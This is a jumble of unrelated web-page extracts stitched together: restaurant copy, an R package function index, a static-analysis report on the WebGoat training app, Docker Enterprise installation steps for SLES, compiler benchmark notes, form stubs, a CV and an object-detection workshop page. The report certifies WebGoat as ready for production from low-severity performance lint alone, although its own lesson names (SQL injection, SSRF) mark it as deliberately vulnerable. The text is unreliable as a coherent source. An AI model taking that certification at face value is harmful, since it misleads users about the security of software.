[ 1 | 2 ]


Jasper in the Bronx
The Bronx location provides a truly unique experience. Nowhere else will you be able to experience a 5 star restaurant atmosphere with the backdrop of a bustling city. Let the rich culture envelop you as you indulge in the best food NYC has to offer.
Our fresh seafood and vegetables are unrivaled in their immaculate taste. Each item comes from out fresh garden. Our chefs come from all around the world to showcase their talents and insure the best quality.


All functions |
|
|---|---|
Generate and add provenance record to nexml |
|
Get IRIs of ontologies with anatomy terms |
|
Obtain the size of different corpora |
|
Find terms matching a query text |
|
Summary and metadata about the Phenoscape KB |
|
Get data from an API endpoint |
|
Retrieve phenotypes by entity, quality, taxon, and study |
|
Obtains the labels for a list of terms |
|
|
|
Drop parts of a nexml object |
Extract the OBO ontology prefix from IRIs |
|
Obtains a presence-absence dependency matrix |
|
|
|
Phenotype Objects |
Which phenotypes match filter |
|
Get term classification |
|
Resolve a text query to IRI |
|
Obtain a synthetic presence/absence matrix |
|
pk_get_study |
|
Query the list of studies by taxa, anatomical entities, and qualities. |
|
pk_get_study_meta |
|
pk_get_study_xml |
|
Test which candidate terms are ancestors or descendants of a term |
|
Determine which taxa are extinct |
|
Returns a NeXML-format evolutionary character matrix. |
|
|
|
Get term details (ID, label, definition) |
Creates a list of named query parameters |
|
Semantic similarity between profiles |
|
|
|
Compute semantic similarity metrics between terms |
Obtains a subsumer matrix |
|
Get IRIs of ontologies with taxonomy terms |
|
Determine the general category of terms |
|
Obtains term frequencies for the Phenoscape KB |
|
Obtain IRI(s) for canonical terms and properties |


Report from the scan performed on 2020-03-15 at 21:47:33 for https://github.com/AppThreat/WebGoat
This report was generated by AppThreat from the SAST scan invocation on 2020-03-15 at 21:47:33. The scan used the open source tool Static code analysis by PMD to scan the source code repository https://github.com/AppThreat/WebGoat.
Below is a summary of the issues identified:
| Severity | Count |
|---|---|
| CRITICAL | 0 |
| HIGH | 0 |
| MEDIUM | 0 |
| LOW | 92 |
| TOTAL | 92 |
Based on this report, the application is certified as ready for deployment to test and production environments. Please refer to the dependency and container scan reports (if available) for additional context.
| Rule | Severity | Source location | Message |
|---|---|---|---|
| Performance | LOW | WebWolfMacro.java |
String.indexOf(char) is faster than String.indexOf(String).
|
| Performance | LOW | Lesson.java |
Avoid using redundant field initializer for 'id'.
|
| Performance | LOW | LessonMenuItem.java |
StringBuffer constructor is initialized with size 16, but has at least 18 characters appended.
|
| Performance | LOW | LessonMenuItem.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | LessonMenuItem.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | LessonMenuService.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | LessonMenuService.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | LessonProgressService.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | LessonProgressService.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | ReportCardService.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | SessionService.java |
StringBuffer constructor is initialized with size 16, but has at least 145 characters appended.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SessionService.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SessionService.java |
Do not add empty strings.
|
| Performance | LOW | SessionService.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | LabelDebugger.java |
Avoid using redundant field initializer for 'enabled'.
|
| Performance | LOW | LessonTracker.java |
Avoid using redundant field initializer for 'numberOfAttempts'.
|
| Performance | LOW | Scoreboard.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | Assignment7.java |
String.indexOf(char) is faster than String.indexOf(String).
|
| Performance | LOW | MD5.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | MD5.java |
Avoid instantiating FileInputStream, FileOutputStream, FileReader, or FileWriter.
|
| Performance | LOW | MD5.java |
Avoid instantiating FileInputStream, FileOutputStream, FileReader, or FileWriter.
|
| Performance | LOW | MD5.java |
Avoid appending characters as strings in StringBuffer.append.
|
| Performance | LOW | Assignment8.java |
Do not add empty strings.
|
| Performance | LOW | Salaries.java |
Avoid instantiating FileInputStream, FileOutputStream, FileReader, or FileWriter.
|
| Performance | LOW | Salaries.java |
Avoid instantiating FileInputStream, FileOutputStream, FileReader, or FileWriter.
|
| Performance | LOW | Salaries.java |
StringBuffer constructor is initialized with size 16, but has at least 145 characters appended.
|
| Performance | LOW | Salaries.java |
StringBuffer (or StringBuilder).append is called 5 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | Salaries.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | Salaries.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | Salaries.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | Salaries.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | Salaries.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | CrossSiteScriptingLesson1.java |
Avoid calling toString() on String objects; this is unnecessary.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer constructor is initialized with size 16, but has at least 200 characters appended.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer (or StringBuilder).append is called 3 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | CrossSiteScriptingLesson5a.java |
Avoid concatenating nonliterals in a StringBuffer/StringBuilder constructor or append().
|
| Performance | LOW | CryptoUtil.java |
Prefer StringBuilder (non-synchronized) or StringBuffer (synchronized) over += for concatenating strings.
|
| Performance | LOW | CryptoUtil.java |
Prefer StringBuilder (non-synchronized) or StringBuffer (synchronized) over += for concatenating strings.
|
| Performance | LOW | InsecureLoginTask.java |
Avoid calling toString() on String objects; this is unnecessary.
|
| Performance | LOW | InsecureLoginTask.java |
Avoid calling toString() on String objects; this is unnecessary.
|
| Performance | LOW | Vote.java |
Avoid using redundant field initializer for 'average'.
|
| Performance | LOW | MissingFunctionACUsers.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | MissingFunctionACUsers.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | Users.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | ResetLinkAssignmentForgotPassword.java |
String.indexOf(char) is faster than String.indexOf(String).
|
| Performance | LOW | SimpleMailAssignment.java |
String.indexOf(char) is faster than String.indexOf(String).
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer constructor is initialized with size 16, but has at least 415 characters appended.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SecurePasswordsAssignment.java |
Avoid concatenating nonliterals in a StringBuffer/StringBuilder constructor or append().
|
| Performance | LOW | SecurePasswordsAssignment.java |
Avoid concatenating nonliterals in a StringBuffer/StringBuilder constructor or append().
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called 2 consecutive times with literals. Use a single append with a single combined String.
|
| Performance | LOW | SecurePasswordsAssignment.java |
StringBuffer (or StringBuilder).append is called consecutively without reusing the target variable.
|
| Performance | LOW | SecurePasswordsAssignment.java |
Avoid concatenating nonliterals in a StringBuffer/StringBuilder constructor or append().
|
| Performance | LOW | SqlInjectionLesson4.java |
StringBuffer constructor is initialized with size 16, but has at least 39 characters appended.
|
| Performance | LOW | SqlInjectionLesson5.java |
StringBuffer constructor is initialized with size 16, but has at least 39 characters appended.
|
| Performance | LOW | SqlInjectionLesson5a.java |
StringBuffer constructor is initialized with size 16, but has at least 70 characters appended.
|
| Performance | LOW | SqlInjectionLesson8.java |
StringBuffer constructor is initialized with size 16, but has at least 78 characters appended.
|
| Performance | LOW | Servers.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | SqlInjectionLesson10b.java |
Prefer StringBuilder (non-synchronized) or StringBuffer (synchronized) over += for concatenating strings.
|
| Performance | LOW | SqlInjectionLesson10b.java |
Avoid using redundant field initializer for 'contents'.
|
| Performance | LOW | SSRFTask1.java |
StringBuffer constructor is initialized with size 16, but has at least 62 characters appended.
|
| Performance | LOW | SSRFTask2.java |
StringBuffer constructor is initialized with size 16, but has at least 63 characters appended.
|
| Performance | LOW | MailAssignment.java |
String.indexOf(char) is faster than String.indexOf(String).
|
| Performance | LOW | FileServer.java |
Avoid instantiating new objects inside loops.
|
| Performance | LOW | Email.java |
String.indexOf(char) is faster than String.indexOf(String).
|
Thank you for supporting AppThreat


Mask As Number Example
Integer Only Entry
Text Field
Vanilla field:
Masked field dynamically bound:
Masked field with maxlength 8:
Masked field with max value 512:
Masked field with min value 2:
Masked field with min 2 and max 3 as options:
Number Field
Vanilla field:
Vanilla field with min value 2:
Masked field dynamically bound:
Masked field with maxlength 8:
Masked field with max value 512:
Masked field with min value 2:
Masked field with min 2 and max 3 as options:
Decimal Entry (0.00)
Text Field
Vanilla field:
Masked field dynamically bound:
Masked field with maxlength 8:
Masked field with max value 512.78:
Masked field with min value 2.12:
Masked field with min 2.32 and max 3.45 as options:
Number Field
Vanilla field:
Vanilla field with min value 2.12:
Masked field dynamically bound:
Masked field with maxlength 8:
Masked field with max value 512.78:
Masked field with min value 2.12:
Masked field with min 2.32 and max 3.45 as options:


Get Docker Engine - Enterprise for SLES
Estimated reading time: 13 minutesTo get started with Docker on SUSE Linux Enterprise Server (SLES), make sure you meet the prerequisites, then install Docker.
Prerequisites
Docker Engine - Enterprise URL
To install Docker Engine - Enterprise, you need to know the Docker Engine - Enterprise repository URL associated with your trial or subscription. These instructions work for Docker on SLES and for Docker on Linux, which includes access to Docker Engine - Enterprise for all Linux distributions. To get this information, do the following:
- Go to https://hub.docker.com/my-content.
- Each subscription or trial you have access to is listed. Click the Setup button for Docker Enterprise Edition for SUSE Linux Enterprise Server.
- Copy the URL from the field labeled Copy and paste this URL to download your Edition.
Use this URL when you see the placeholder text <DOCKER-EE-URL>
.
To learn more about Docker Enterprise, see Docker Enterprise Edition.
Docker Engine - Community is not supported on SLES.
OS requirements
To install Docker Engine - Enterprise, you need the 64-bit version of SLES 12.x,
running on the x86_64
architecture. Docker Engine - Enterprise is not
supported on OpenSUSE.
The only supported storage driver for Docker Engine - Enterprise on SLES is
Btrfs
, which is used by default if the underlying filesystem hosting
/var/lib/docker/
is a BTRFS filesystem.
Note: IBM Z (
s390x
) is supported for Docker Engine - Enterprise 17.06.xx only.
Firewall configuration
Docker creates a DOCKER
iptables chain when it starts. The SUSE firewall may
block access to this chain, which can prevent you from running
containers with published ports. You may see errors such as the following:
WARNING: IPv4 forwarding is disabled. Networking will not work.
docker: Error response from daemon: driver failed programming external
connectivity on endpoint adoring_ptolemy
(0bb5fa80bc476f8a0d343973929bb3b7c039fc6d7cd30817e837bc2a511fce97):
(iptables failed: iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport 80 -j DNAT --to-destination <IP_ADDRESS>:80 ! -i docker0: iptables: No chain/target/match by that name.
(exit status 1)).
If you see errors like this, adjust the start-up script order so that the firewall is started before Docker, and Docker stops before the firewall stops. See the SLES documentation on init script order.
Uninstall old versions
Older versions of Docker were called docker
or docker-engine
. If you use OS
images from a cloud provider, you may need to remove the runc
package, which
conflicts with Docker. If these are installed, uninstall them, along with
associated dependencies.
$ sudo zypper rm docker docker-engine runc
If removal of the docker-engine
package fails, use the following command
instead:
$ sudo rpm -e docker-engine
It’s OK if zypper
reports that none of these packages are installed.
The contents of /var/lib/docker/
, including images, containers, volumes, and
networks, are preserved. The Docker Engine - Enterprise package is now called
docker-ee
.
Configure the Btrfs filesystem
By default, SLES formats the /
filesystem using Btrfs, so most people do not
not need to do the steps in this section. If you use OS images from a cloud
provider, you may need to do this step. If the filesystem that
hosts /var/lib/docker/
is not a BTRFS filesystem, you must configure a
BTRFS filesystem and mount it on /var/lib/docker/
.
-
Check whether
/
(or/var/
or/var/lib/
or/var/lib/docker/
if they are separate mount points) are formatted using Btrfs. If you do not have separate mount points for any of these, a duplicate result for/
is returned.$ df -T / /var /var/lib /var/lib/docker
You need to complete the rest of these steps only if one of the following is true:
- You have a separate
/var/
filesystem that is not formatted with Btrfs - You do not have a separate
/var/
or/var/lib/
or/var/lib/docker/
filesystem and/
is not formatted with Btrfs
If
/var/lib/docker
is already a separate mount point and is not formatted with Btrfs, back up its contents so that you can restore them after step 3. - You have a separate
-
Format your dedicated block device or devices as a Btrfs filesystem. This example assumes that you are using two block devices called
/dev/xvdf
and/dev/xvdg
. Make sure you are using the right device names.Double-check the block device names because this is a destructive operation.
$ sudo mkfs.btrfs -f /dev/xvdf /dev/xvdg
There are many more options for Btrfs, including striping and RAID. See the Btrfs documentation.
-
Mount the new Btrfs filesystem on the
/var/lib/docker/
mount point. You can specify any of the block devices used to create the Btrfs filesystem.$ sudo mount -t btrfs /dev/xvdf /var/lib/docker
Don’t forget to make the change permanent across reboots by adding an entry to
/etc/fstab
. -
If
/var/lib/docker
previously existed and you backed up its contents during step 1, restore them onto/var/lib/docker
.
Install Docker Engine - Enterprise
You can install Docker Engine - Enterprise in different ways, depending on your needs.
-
Most users set up Docker’s repositories and install from them, for ease of installation and upgrade tasks. This is the recommended approach.
-
Some users download the RPM package and install it manually and manage upgrades completely manually. This is useful in situations such as installing Docker on air-gapped systems with no access to the internet.
Install using the repository
Before you install Docker Engine - Enterprise for the first time on a new host machine, you need to set up the Docker repository. Afterward, you can install and update Docker from the repository.
Note: If you need to run Docker Enterprise 2.0, please see the following instructions:
Set up the repository
-
Temporarily add the
$DOCKER_EE_BASE_URL
and$DOCKER_EE_URL
variables into your environment. This only persists until you log out of the session. Replace<DOCKER-EE-URL>
listed below with the URL you noted down in the prerequisites.$ DOCKER_EE_BASE_URL="<DOCKER-EE-URL>" $ DOCKER_EE_URL="${DOCKER_EE_BASE_URL}/sles/<SLES_VERSION>/<ARCH>/stable-<DOCKER_VERSION>"
And substitute the following:
DOCKER-EE-URL
is the URL from your Docker Hub subscription.SLES_VERSION
is15
or12.3
.ARCH
isx86_64
.DOCKER_VERSION
is19.03
or one of the older releases (18.09
,18.03
,17.06
etc.)
As an example, your command should look like:
DOCKER_EE_BASE_URL="https://storebits.docker.com/ee/sles/sub-555-55-555" DOCKER_EE_URL="${DOCKER_EE_BASE_URL}/sles/15/x86_64/stable-19.03"
-
Use the following command to set up the stable repository. Use the command as-is. It works because of the variable you set in the previous step.
$ sudo zypper addrepo $DOCKER_EE_URL docker-ee-stable
-
Import the GPG key from the repository. Replace
<DOCKER-EE-URL>
with the URL you noted down in the prerequisites.$ sudo rpm --import "${DOCKER_EE_BASE_URL}/sles/gpg"
Install Docker Engine - Enterprise
-
Update the
zypper
package index.$ sudo zypper refresh
If this is the first time you have refreshed the package index since adding the Docker repositories, you are prompted to accept the GPG key, and the key’s fingerprint is shown. Verify that the fingerprint matches
77FE DA13 1A83 1D29 A418 D3E8 99E5 FF2E 7668 2BC9
and if so, accept the key. -
Install the latest version of Docker Engine - Enterprise and containerd, or go to the next step to install a specific version.
$ sudo zypper install docker-ee docker-ee-cli containerd.io
Start Docker.
$ sudo service docker start
-
On production systems, you should install a specific version of Docker Engine - Enterprise instead of always using the latest. List the available versions. The following example only lists binary packages and is truncated. To also list source packages, omit the
-t package
flag from the command.$ zypper search -s --match-exact -t package docker-ee Loading repository data... Reading installed packages... S | Name | Type | Version | Arch | Repository --+---------------+---------+---------------------------------------+--------+--------------- | docker-ee | package | 19.03-1 | x86_64 | docker-ee-stable
The contents of the list depend upon which repositories you have enabled. Choose a specific version to install. The third column is the version string. The fifth column is the repository name, which indicates which repository the package is from and by extension its stability level. To install a specific version, append the version string to the package name and separate them by a hyphen (
-
):$ sudo zypper install docker-ee-<VERSION_STRING> docker-ee-cli-<VERSION_STRING> containerd.io
Docker is installed but not started. The
docker
group is created, but no users are added to the group. -
Configure Docker to use the Btrfs filesystem. This is only required if the
/
filesystem is not using BTRFS. However, explicitly specifying thestorage-driver
has no harmful side effects.Edit the file
/etc/docker/daemon.json
(create it if it does not exist) and add the following contents:{ "storage-driver": "btrfs" }
Save and close the file.
-
Start Docker.
$ sudo service docker start
-
Verify that Docker is installed correctly by running the
hello-world
image.$ sudo docker run hello-world
This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.
Docker Engine - Enterprise is installed and running. You need to use sudo
to
run Docker commands. Continue to Linux postinstall
to configure the graph storage driver, allow non-privileged users to run Docker
commands, and for other optional configuration steps.
Important: Be sure Docker is configured to start after the system firewall. See Firewall configuration.
Upgrade Docker Engine - Enterprise
To upgrade Docker Engine - Enterprise, follow the steps below:
-
If upgrading to a new major Docker Engine - Enterprise version (such as when going from Docker 18.03.x to Docker 18.09.x), add the new repository.
-
Run
sudo zypper refresh
. -
Follow the installation instructions, choosing the new version you want to install.
Install from a package
If you cannot use the official Docker repository to install Docker Engine -
Enterprise, you can download the .rpm
file for your release and install it
manually. You need to download a new file each time you want to upgrade Docker.
-
Go to the Docker Engine - Enterprise repository URL associated with your trial or subscription in your browser. Go to
sles/12.3/
choose the directory corresponding to your architecture and desired Docker Engine - Enterprise version. Download the.rpm
file from thePackages
directory. -
Import Docker’s official GPG key.
$ sudo rpm --import <DOCKER-EE-URL>/sles/gpg
-
Install Docker, changing the path below to the path where you downloaded the Docker package.
$ sudo zypper install /path/to/package.rpm
Docker is installed but not started. The
docker
group is created, but no users are added to the group. -
Configure Docker to use the Btrfs filesystem. This is only required if the
/
filesystem is not using Btrfs. However, explicitly specifying thestorage-driver
has no harmful side effects.Edit the file
/etc/docker/daemon.json
(create it if it does not exist) and add the following contents:{ "storage-driver": "btrfs" }
Save and close the file.
-
Start Docker.
$ sudo service docker start
-
Verify that Docker is installed correctly by running the
hello-world
image.$ sudo docker run hello-world
This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.
Docker Engine - Enterprise is installed and running. You need to use sudo
to
run Docker commands. Continue to Post-installation steps for Linux
to allow non-privileged users to run Docker commands and for other optional
configuration steps.
Important: Be sure Docker is configured to start after the system firewall. See Firewall configuration.
Upgrade Docker Engine - Enterprise
To upgrade Docker Engine - Enterprise, download the newer package file and
repeat the installation procedure, using
zypper update
instead of zypper install
, and pointing to the new file.
Uninstall Docker Engine - Enterprise
-
Uninstall the Docker Engine - Enterprise package using the command below.
$ sudo zypper rm docker-ee
-
Images, containers, volumes, or customized configuration files on your host are not automatically removed. To delete all images, containers, and volumes.
$ sudo rm -rf /var/lib/docker/*
If you used a separate BTRFS filesystem to host the contents of
/var/lib/docker/
, you can unmount and format the Btrfs filesystem.
You must delete any edited configuration files manually.
Next steps
-
Continue to Post-installation steps for Linux
-
Continue with the User Guide.


Add Property
Property Details
Property Name:
Market Price Adjustment:
Capital Gains:
Annual Maintenance Cost:
Annual Cost Increase:
Bond Details
Interest Rate:
Deposit:
Property Value:
Number Of Years:
Bond Repayment:
Additional Bond Repayment
Period:
Additional Cash:
Once-Off Payment:
Reserves
Maintenance:
Renovation:
Deviance:
Rent Insurance:
Up-Front Costs
Conveyancing Fees:
VAT Debit:
Deeds Fee:
Initiation Fee:
Expenses
Rates and Tax:
Rates:
Levy:
Bond Fee:
Increases
Inflation:
Property Value:
Rent:
Rates:
Rates and Tax:
Bond Fee:
Levy:
Rental Information
Occupancy Rate:
Agent Commission:
Rental Amount:
Create Property


Your payment status is
Order Confirmed!
Thank you for your transfer
Status of Transaction:
completed
#123456789
Something went wrong!
Nothing to see here
Status of Transaction:


We try three programs across two CPUs across several compiler options. The purpose is to show the variety of possible results for various kinds of numerical program and options available to the user.
Note: these test results are now dated, using OpenBSD 6.6 where the LLVM Fortran compiler “flang” was available. I have not updated the results to OpenBSD 6.8 or later because the result is the same: I explain that you can expect various levels of performance with tuning. The software versions are not relevent here.
The programs are
heated_plate.f90
chaotic_system.cpp
phase_chain.cpp
The compilers are Flang and clang C++. We try various compile options such as
-O3
or -Ofast
– the likely choice for many people-fopenmp-simd
which enables the SSE and AVX instruction sets
as well as OpenMP-march=penryn
or -march=skylake
according to the CPUs I have on hand--static
to see if statically compiled code is indeed fasterThe hardware I have is an Intel 2-core E7400 Penryn and Intel 2-core i3 Skylake laptop.
The code solves a partial-differential equation for temperature across a plate. The data and charts are for the flang compiler, version 8.0.1 on OpenBSD 6.6.
This chart shows the heated_plate example with OpenMP turned on
for all cases. The default setting is more than 2x slower than -O3
.
A few attempts at: SSE or AVX instructions didn’t improve speed. The hpsimd program uses the simd pragma on a function performing the diff reduction step (abs(old-new)). The release notes suggest this shouldn’t do much.
The biggest gain (from 28.9s) is with -O3
(10.2s). The architecture-specific -march=skylake
(10.2s) is not much different.
These tests were run on the Skylake processor which is why the code for the older Penryn also works.
This chart shows the heated_plate example with OpenMP turned on for all cases. This older CPU (circa 2008) is not as fast as Skylake (circa 2015).
The hp.simdavx, hp.o3skylake, hpsimd.simdavx programs fail due to illegal instructions (unsupported in this older CPU) and no results can be shown.
This is a C++ code example from the Boost odeint library. The code identifies the Lyapunov exponents for the Lorenz equation. Data and chart are for the clang compiler, version 8.0.1 on OpenBSD 6.6. It uses the Boost “odeint” library in serial and simd mode.
The program.(config) refers to configurations with no optimization (.x), simd, fast, fast with simd instructions, and two CPU-specific settings for Penryn and Skylake.
The -fast
option clearly has the most effect on performance, with the
simd instruction set not doing much to help. The Skylake
cpu optimization improves times from 24-ish seconds down to 21.3 seconds
when adding -march=skylake
. The Penryn code
choice has a lesser effect.
On Penryn, the -Ofast
option makes a huge difference. The fastest code
(Penryn-specific) at 26.4s is about 0.7s better than simd+fast. (As with
heated_plate, the Skylake version does not work on a Penryn CPU.)
The code calculates the motions of two coupled oscillators with the Boost odeint library. This is also a C++ code and it is capable of running under OpenMP.
I’ve sorted the results in order of improvement (but not how I actually
explored the options). Here we also try the --static
linking option as
well as fast, simd, Penryn and Skylake optimizations. The “mp” in the program
name refers to using OpenMP parallelization as well. See the Boost website
for details of how odeint can be parallelized with OpenMP.
Static linking has a visible effect even without optimizations (20.6s down
to 17.8s) and with -Ofast
(15.6s to 12.0s). OpenMP does scale fairly
well (12.0s to 7.9s) but obviously not 100% faster.
The Skylake
optimization is not significantly different than -Ofast
.
On Penryn the code is progressively faster as we change to static
linking, -Ofast
option, then both, then add OpenMP parallelization,
then all three, then finally the Penryn CPU-specific code.
I don’t have an explanation for why the Penryn is significantly faster than the much newer Skylake. Some speculations: clock correctness, Skylake security mitigations (Meltdown, Spectre), operations error (me).
Notes:
heated_plate.f90
is from Source Codes in F90.
The heated_plate_simd.f90
code is composed by me from heated_plate.f90
. It
uses a simd function (omp declare simd) to compute the max absolute difference
between solutions.
chaotic_system.cpp
and phase_chain.cpp
are from the Boost Odeint library.
They have been slightly modified by me to use the Boost auto_cpu_time function to report cpu and elapsed times at program completion.
OpenBSD Numerics |
OpenBSD Numerics - Parallelization
OpenBSD Numerics - Clusters |
OpenBSD Numerics - Examples
OpenBSD Numerics - Experiences pages


Altitude is a web based application designed to assist drone operators in maintaining their aircraft, tracking their flights and performing checklists.
This software is the intellectual property of Jered Masters (trading as NovaLab) and is protected under the Australian Copyright Act 1968.
ABN 86 224 612 595


{% extends 'basic_app/base.html' %} {% load static %} {% block content %}
We recommend buying this stock
{% else %}We do not recommend buying this stock
{% endif %}{{info.longBusinessSummary}}
The Piotroski Score is a discrete score between zero and nine that reflects nine criteria used to determine the strength of a firm's financial position. The Piotroski Score is used to determine the best value stocks, with nine being the best and zero being the worst.
More about the Piotroski Score


CGPA: 8.34/10.0
Class Rank: 4th rank
CGPA: 8.05/10.0
Graduation: July 2020
(August 2015 - July 2020)
GPA: 92.8%
Procured top-5% in science stream
(August 2013 - June 2015)
GPA: 95.33%
Class Rank: 1st rank (or top-0.83%)
(till June 2013)


The Fruit Market
Total Cash: $100
Apples
Purchase
Sell
Qty: X
$X.XX
Oranges
Purchase
Sell
Qty:
$X.XX
Bananas
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Object detection is of significant value to the Computer Vision and Pattern Recognition communities as it is one of the fundamental vision problems. In this workshop, we will introduce two new benchmarks for the object detection task: Objects365 and CrowdHuman, both of which are designed and collected in the wild. Objects365 benchmark targets to address the large-scale detection with 365 object categories. There will be two tracks: full track with all of 365 object categories on the 600K training images and tiny track to address the 100 challenging categories on sub-set of the training images. CrowdHuman, on the other hand, is targeting the problem of human detection in the crowd. We hope these two datasets can provide the diverse and practical benchmarks to advance the research of object detection. Also, this workshop can serve as a platform to push the upper-bound of object detection research.
[News] The workshop website is now online.
| Challenge Launch Date | |
| Testing Data Release | |
| Result Submissions Deadline | |
| Workshop date | |
We invite the top three teams of each track to share the experience of the competition.
| 13:30-13:50 | Introduction for DIW2019 | Gang Yu, MEGVII |
| 13:50-14:10 | Outstanding team talk of DIW 2019-Objects365 track. [slides] | Hengkai Guo, Bytedance AI Lab |
| 14:10-14:30 | Invited talk: Feature Selective Anchor Free Module for Single Shot Object Detection. [slides] | Chenchen Zhu, CMU |
| 14:30-14:50 | Invited talk: Bounding Box Regression with Uncertainty for Accurate Object Detection. [slides] | Yihui He, CMU |
| 14:50-15:15 | Outstanding team talk of DIW 2019-Objects365 track. [slides] | Dongliang He, Baidu VIS |
| 15:15-16:00 | Coffee Break | |
| 16:00-16:40 | Invited talk: Deformation Modeling in Convnets. [slides] | Jifeng Dai, MSRA |
| 16:40-17:05 | Outstanding team talk of DIW 2019-CrowdHuman Track. [slides] | Zequn Jie, Tencent AI Lab |
Chenchen Zhu is a Ph.D. student from Department of Electrical & Computer Engineering (ECE) at Carnegie Mellon University (CMU). He works with Prof. Marios Savvides at the CyLab Biometrics Center. His research interest mainly lies in computer vision and deep learning, with applications on object detection in general and facial analysis.
Yihui He, He is a CMU master student, with his interest focus on Computer Vision and Deep Learning. During he undergrad study he was fortunate to be an intern with Jian Sun (Megvii/Face++), Song Han (MIT) and Alan Yuille (JHU). He has a track record of contributing to CNN efficient inference. Particularly, he designed channel pruning to effectively prune channels. He further proposed AMC to sample the design space of channel pruning via reinforcement learning, which greatly improved the performance. He served as a reviewer for ICCV'19, CVPR'19, ICLR'19, NIPS'18, TIP and IJCV.
Jifeng Dai, Senior Researcher in the Visual Computing Group of Microsoft Research Asia. He received the B.S. degree and the Ph.D. degree from Tsinghua University with honor in 2009 and 2014 respectively. He was also a visiting student in University of California, Los Angeles (UCLA) from 2012 to 2013. He is the author of R-FCN and Deformable ConvNets. His citation in google scholar has exceeded 4000. His team won the COCO competition championship in 2015 and 2016 and won a third place in 2017. And he served as the Senior PC Member of the AAAI 2018.
